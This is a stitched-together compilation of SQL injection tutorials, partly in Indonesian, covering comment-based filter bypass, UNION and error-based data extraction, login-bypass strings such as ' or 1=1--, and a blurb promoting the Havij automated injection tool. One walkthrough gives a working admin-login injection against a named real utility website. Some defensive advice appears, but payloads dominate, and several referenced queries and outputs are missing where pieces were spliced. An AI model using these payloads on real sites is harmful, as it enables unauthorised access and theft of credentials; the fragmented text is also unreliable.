SQL Injection Introduction
SQL Injection Introduction
html
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script
proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang
ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan
menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama
jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM
namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel
- Enjoy -
http://www.sekuritionline.net/plugins/p2_news/printarticle.php?p2_articleid=7
/*********************************************************
* SQL Injection, step by step.
*
* No Warranty. This tutorial is for educational use only,
* commercial use is prohibited.
*
**********************************************************/
Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba
Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.
******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.
Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )
Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)
If you have ever taken raw user input and inserted it into a MySQL database there's a
chance that you have left yourself wide open for a security issue known as SQL Injection.
This lesson will teach you how to help prevent this from happening and help you secure
your scripts and MySQL statements.
// display what the new query will look like, with injection
echo "Injection: " . $query_bad;
Display:
Normal: SELECT * FROM customers WHERE username = 'timmy'
Injection: SELECT * FROM customers WHERE username = '' OR 1''
The normal query is no problem, as our MySQL statement will just select everything
from customers that has a username equal to timmy.
However, the injection attack has actually made our query behave differently than we
intended. By using a single quote (') they have ended the string part of our MySQL query
and then added on to our WHERE statement with an OR clause of 1 (always true).
This OR clause of 1 will always be true and so every single entry in the "customers"
table would be selected by this statement!
If you were run this query, then the injected DELETE statement would completely empty
your "customers" table. Now that you know this is a problem, how can you prevent it?
Injection Prevention -
mysql_real_escape_string()
Lucky for you, this problem has been known for a while and PHP has a specially-made
function to prevent these attacks. All you need to do is use the mouthful of a function
mysql_real_escape_string.
Lets try out this function on our two previous injection attacks and see how it works.
$name_bad = mysql_real_escape_string($name_bad);
$name_evil = mysql_real_escape_string($name_evil);
Display:
Escaped Bad Injection:
SELECT * FROM customers WHERE username = '\' OR 1\''
Escaped Evil Injection:
SELECT * FROM customers WHERE username = '\'; DELETE FROM customers
WHERE 1 or username = \''
Notice that those evil quotes have been escaped with a backslash \, preventing the
injection attack. Now all these queries will do is try to find a username that is just
completely ridiculous:
And I don't think we have to worry about those silly usernames getting access to our
MySQL database. So please do use the handy mysql_real_escape_string() function to
help prevent SQL Injection attacks on your websites. You have no excuse not to use it
after reading this lesson!
Details
SQL Injection protection is EASY!
Use an External Vulnerability Scanner!
Nothing to install. Zero maintenance. Full Security!
www.beyondsecurity.com/sql-injection.html
1 Introduction
When a machine has only port 80 opened, your most trusted vulnerability
scanner cannot return anything useful, and you know that the admin
always patch his server, we have to turn to web hacking. SQL injection is
one of type of web hacking that require nothing but port 80 and it might
just work even if the admin is patch-happy. It attacks on the web
application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web
server or services running in the OS.
This article does not introduce anything new, SQL injection has been
widely written and used in the wild. We wrote the article because we
would like to document some of our pen-test using SQL injection and
hope that it may be of some use to others. You may find a trick or two but
please check out the "9.0 Where can I get more info?" for people who
truly deserve credit for developing many techniques in SQL injection.
2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to
look especially for URL that takes parameters, like:
http://duck/index.asp?id=10
hi' or 1=1--
If you must do this with a hidden field, just download the source HTML
from the site, save it in your hard disk, modify the URL and hidden field
accordingly. Example:
If luck is on your side, you will get login without any login name or
password.
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value
assigned to the variable. In order to do that, an ASP might contain the
following code (OK, this is the actual code that we created for this
exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL
statement should become:
The query should return a resultset containing one or more rows that
match the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in
the SQL query, we will have:
However, if it is not an SQL server, or you simply cannot ignore the rest
of the query, you also may try
' or 'a'='a
Depending on the actual SQL query, you may have to try some of these
possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start
a new SQL command. To verify that the command executed successfully,
you can listen to ICMP packet from 10.10.1.2, check if there is any packet
from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message
indicating permission error, it is possible that the administrator has limited
Web User access to these stored procedures.
6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL
Server to get almost any data we want. Take the following page for
example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the
database:
This should return the first table name in the database. When we UNION
this string value to an integer 10, MS SQL Server will try to convert a
string (nvarchar) to an integer. This will produce an error, since we cannot
convert nvarchar to int. The server will display the following error:
The error message is nice enough to tell us the value that cannot be
converted into an integer. In this case, we have obtained the first table
name in the database, which is "table1".
To get the next table name, we can use the following query:
Output:
Output:
Now that we have the first column name, we can use NOT IN () to get the
next column name:
When we continue further, we obtained the rest of the column name, i.e.
"password", "details". We know this when we get the following error
message:
Output:
Now, let's get the first login_name from the "admin_login" table:
Output:
We now know there is an admin user with the login name of "neo".
Finally, to get the password of "neo" from the database:
We will probably get a "Page Not Found" error. The reason being, the
password "31173" will be converted into a number, before UNION with
an integer (10 in this case). Since it is a valid UNION statement, SQL
server will not throw ODBC error message, and thus, we will not be able
to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some
alphabets to make sure the conversion fail. Let us try this query instead:
We simply use a plus sign (+) to append the password with any text we
want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus'
into the actual password. Therefore, even if we have a numeric string
'31173', it will become '31173 morpheus'. By manually calling the
convert() function, trying to convert '31173 morpheus' into an integer,
SQL Server will throw out ODBC error message:
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for
us to UPDATE or even INSERT a new record in the table. For example, to
change password for "neo":
Change "Startup and run SQL Server" using low privilege user in SQL
Server Security tab.
by Black
http://pentestit.com/2010/05/29/havij-advanced-sql-injection-tool/
We are really liking this tool. For with this tool, you can almost go back to your “point
and shoot” days! Havij is a free tool, programmed in Visual Basic that will automate
SLQ injections for you! Infact, just to test it out, we tried this on an installation of
DVWA and it got us what we wanted!
Havij is an automated SQL Injection tool that helps penetration testers to find and exploit
SQL Injection vulnerabilities on a web page. All you need to know is a bit of SQL
injection and you are done. You just need to click a button and wait till it finds a
exploitable SQL query. Not only that, you can also fingerprint the back-end database,
retrieve DBMS users and password hashes, dump tables and columns, fetching data from
the database, running SQL statements and even accessing the underlying file system and
executing commands on the operating system. Ofcourse most of that is after you have a
successful exploit. Not only that, it supports a wide array of databases – MsSQL,
MySQL, MSAccess and Oracle! You could also choose to evade IDS detection by simple
pre-configured tricks of this tool. You can also try to brute force your way to find the
admin directory and yes it does support proxies too!
As we have already said previously that this is a tool in Visual Basic, this will run only
on Windows. Installation is pretty much simple too. We noticed something peculiar about
this tool. It installs – columns.txt, admins.txt and tables.txt. Call them teh databases of
Havij. You are free to add your stuff to these files. Just take care where you add those
things.